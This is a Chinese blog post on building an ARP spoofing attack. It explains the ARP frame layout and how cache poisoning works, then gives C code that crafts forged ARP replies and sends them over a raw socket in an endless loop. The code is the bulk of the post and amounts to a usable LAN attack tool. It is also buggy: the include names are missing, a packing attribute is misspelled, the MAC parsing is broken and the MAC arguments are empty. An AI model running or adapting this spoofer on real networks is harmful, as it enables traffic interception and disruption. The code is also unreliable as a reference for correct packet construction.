一、摘要
最近在学习怎么构造一个arp攻击的数据包,大体上搞定了,来总结一下吧!
本文的主要参考:https://blog.csdn.net/smstong/article/details/7221184,感谢这位老哥提供的代码思路。我与他不同的地方在于MAC地址的转换(主要老哥写的比较复杂,我懒得看0.0)。
二、概述与前置知识
1.ARP帧的结构
ARP协议是链路层的协议,链路层的数据单位是帧。链路层给上一层(网络层)提供服务,给数据包加上头和尾。在数据链路层需要封装的帧结构如下:
以太网目的MAC | 以太网源MAC | 帧类型 | 链路层地址类型 | 网络层地址类型 | 链路层地址长度 | 网络层地址长度 | op | 发送端以太网地址 | 发送端IP地址 | 目的端以太网地址 | 目的端IP地址 | 填充数据 | 以太网CRC |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6字节 | 6字节 | 2字节 | 2字节 | 2字节 | 1字节 | 1字节 | 2字节 | 6字节 | 4字节 | 6字节 | 4字节 | 18字节 | 4字节 |
自由填充 | 自由填充 | 0x0806 | 0x0001 | 0x0800 | 0x06 | 0x04 | 0x0001/0x0002 | 自由填充 | 自由填充 | 自由填充 | 自由填充 | 自由填充 | 无需填充 |
2.ARP攻击的原理(来自百度百科)
ARP缓存是个用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址–>MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址。每一个以太网或令牌环网络适配器都有自己单独的表。当地址解析协议被询问一个已知IP地址节点的MAC地址时,先在ARP缓存中查看,若存在,就直接返回与之对应的MAC地址,若不存在,才发送ARP请求向局域网查询。
主机A的IP地址为192.168.1.1,MAC地址为0A-11-22-33-44-01;
主机B的IP地址为192.168.1.2,MAC地址为0A-11-22-33-44-02;
当主机A要与主机B通信时,地址解析协议可以将主机B的IP地址(192.168.1.2)解析成主机B的MAC地址,以下为工作流程:
第1步:根据主机A上的路由表内容,IP确定用于访问主机B的转发IP地址是192.168.1.2。然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。
第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。
第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
第4步:主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
第5步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。
ARP地址转换表是依赖于计算机中高速缓冲存储器动态更新的,而高速缓冲存储器的更新是受到更新周期的限制的,只保存最近使用的地址的映射关系表项,这使得攻击者有了可乘之机,可以在高速缓冲存储器更新表项之前修改地址转换表,实现攻击。ARP请求为广播形式发送的,网络上的主机可以自主发送ARP应答消息,并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表,这样攻击者就可以向目标主机发送伪ARP应答报文,从而篡改本地的MAC地址表。
三、arp攻击代码(C语言)
代码是比较简单的,只是提供一个大致的模型,MAC地址转换部分我做的相对简单(不想搞得很复杂。。。)
#include
#include //struct in_addr结构体的头文件
#include
struct arp_packet
{
unsigned char hard_type[2];
unsigned char inetnet_type[2];
unsigned char hard_length;
unsigned char inetnet_length;
unsigned char op[2];
unsigned char mac_sender[6];
unsigned char ip_sender[4];
unsigned char mac_target[6];
unsigned char ip_target[4];
}__attribute__((__packed__));//取消编译器在结构编译过程中的优化对齐,按照实际占用字节数进行对齐。这个是很关键的,防止编译器自动将字节扩充干扰了数据包的字节结构
struct ethernet_packet
{
unsigned char mac_des[6];
unsigned char mac_src[6];
unsigned char frame_type[2];
struct arp_packet arp;
unsigned char tianchong[18];
}__attribute__((__packet__));
void init_arp(struct ethernet_packet *ep)
{
ep->frame_type[0] = 0x08;//ARP的以太网帧类型
ep->frame_type[1] = 0x06;
ep->arp.hard_type[0] = 0x00;//链路层地址类型是以太网,值为1
ep->arp.hard_type[1] = 0x01;
ep->arp.inetnet_type[0] = 0x08;//链路层网络类型为IP,值为0x0800
ep->arp.inetnet_type[1] = 0x00;
ep->arp.hard_length = 0x06; //链路层地址长度
ep->arp.inetnet_length = 0x04; //网络层地址长度
ep->arp.op[0] = 0x00;
ep->arp.op[1] =0x02;//op是确定是arp请求还是应答,请求的值为1,应答的值为2
memset(ep->tianchong,0,18);//将待填充区的数据用0填满
}
void MACtianchong(unsigned char *test,unsigned char *MACHumanINput)//这个函数的目的就是将人工输入的12个MAC地址字符转换成数据包中只有6字节的情况
{
/*for(int i=0;i<11;i++)
{
printf("%c\n",MACHumanInput[i]);
}测试MACHumanInput的输入情况
*/
/*int a;
sscanf(MACHumanInput,"%x",&a);
printf("%d\n",a);//测试sscanf函数
*/
unsigned char mac1,mac2,mac3,mac4,mac5,mac6,mac7,mac8,mac9,mac10,mac11,mac12;
mac1 = MACHumanINput[0];
mac2 = MACHumanINput[1];
mac3 = MACHumanINput[2];
mac4 = MACHumanINput[3];
mac5 = MACHumanINput[4];
mac6 = MACHumanINput[5];
mac7 = MACHumanINput[6];
mac8 = MACHumanINput[7];
mac9 = MACHumanINput[8];
mac10 = MACHumanINput[9];
mac11 = MACHumanINput[10];
mac12 = MACHumanINput[11];
int exc1[6];
int exc2[6];
unsigned char exc3[6];
sscanf(&mac1,"%x",&exc1[0]);
sscanf(&mac2,"%1x",&exc2[0]);
exc1[0] = exc1[0]*16+exc2[0];
sscanf(&mac3,"%1x",&exc1[1]);
sscanf(&mac4,"%1x",&exc2[1]);
exc1[1] = exc1[1]*16+exc2[1];
sscanf(&mac5,"%1x",&exc1[2]);
sscanf(&mac6,"%1x",&exc2[2]);
exc1[2] = exc1[2]*16+exc2[2];
printf("第一次exc1[2]=%d,exc2[2]=%d,exc1[2]=%x\n",exc1[2],exc2[2],exc1[2]);
sscanf(&mac7,"%1x",&exc1[3]);
sscanf(&mac8,"%1x",&exc2[3]);
exc1[3] = exc1[3]*16+exc2[3];
sscanf(&mac9,"%1x",&exc1[4]);
sscanf(&mac10,"%1x",&exc2[4]);
exc1[4] = exc1[4]*16+exc2[4];
sscanf(&mac11,"%1x",&exc1[5]);
sscanf(&mac12,"%1x",&exc2[5]);
exc1[5] = exc1[5]*16+exc2[5];
exc3[0] = (unsigned char)exc1[0];
exc3[1] = (unsigned char)exc1[1];
exc3[2] = (unsigned char)exc1[2];
exc3[3] = (unsigned char)exc1[3];
exc3[4] = (unsigned char)exc1[4];
exc3[5] = (unsigned char)exc1[5];
test[0] = (unsigned char)exc1[0];
test[1] = (unsigned char)exc1[1];
test[2] = (unsigned char)exc1[2];
test[3] = (unsigned char)exc1[3];
test[4] = (unsigned char)exc1[4];
test[5] = (unsigned char)exc1[5];
}
int build_arp(struct ethernet_packet *ep, char *e_mac_src, char *e_mac_des, char *arp_mac_send ,char *arp_ip_send, char *arp_mac_target, char *arp_ip_target)
{
init_arp(ep);
struct in_addr inaddr;
if(0==inet_aton(arp_ip_target,&inaddr)){
printf("目的IP地址输入错误!\n");
return -1;
}
memcpy((void*)ep->arp.ip_target,(void*)&inaddr,4);
if(0==inet_aton(arp_ip_send,&inaddr)){
printf("发送IP地址输入错误!\n");
return -2;
}
memcpy((void*)ep->arp.ip_sender,(void*)&inaddr,4);
MACtianchong(&(ep->mac_src),e_mac_src);
MACtianchong(&(ep->mac_des),e_mac_des);
MACtianchong(&(ep->arp.mac_sender),arp_mac_send);
MACtianchong(&(ep->arp.mac_target),arp_mac_target);
}
int main()
{
int err;
//printf("%d",sizeof(struct arp_packet));//测试结构体的字节数
struct ethernet_packet test;
build_arp(&test,"","","","192.168.1.1","","192.168.1.162");
printf("(1)%x:%x:%x:%x:%x:%x\n",test.arp.mac_target[0],test.arp.mac_target[1],test.arp.mac_target[2],test.arp.mac_target[3],test.arp.mac_target[4],test.arp.mac_target[5]);
int fd = socket(AF_INET, SOCK_PACKET,htons(0x0806));
if(fd<0)
printf("套接字建立失败!\n");
struct sockaddr sa;
strcpy(sa.sa_data,"wlan0");//这个地方sockaddr结构体的使用还没有弄的很具体。
while(1){
int end = sendto(fd,&test,sizeof(test),0,&sa,sizeof(sa));
if(end==-1)
perror("有错误");
sleep(1);
}
close(fd);
return 0;
}
有没有大佬能指点小弟一下sockaddr结构体中,把字符串wlan0赋值给sa.sa_data之后,sendto函数是怎么用这个字符串的。可能需要到内核层了,查了一些资料都说常用的是sockaddr_in,sockaddr并不常用。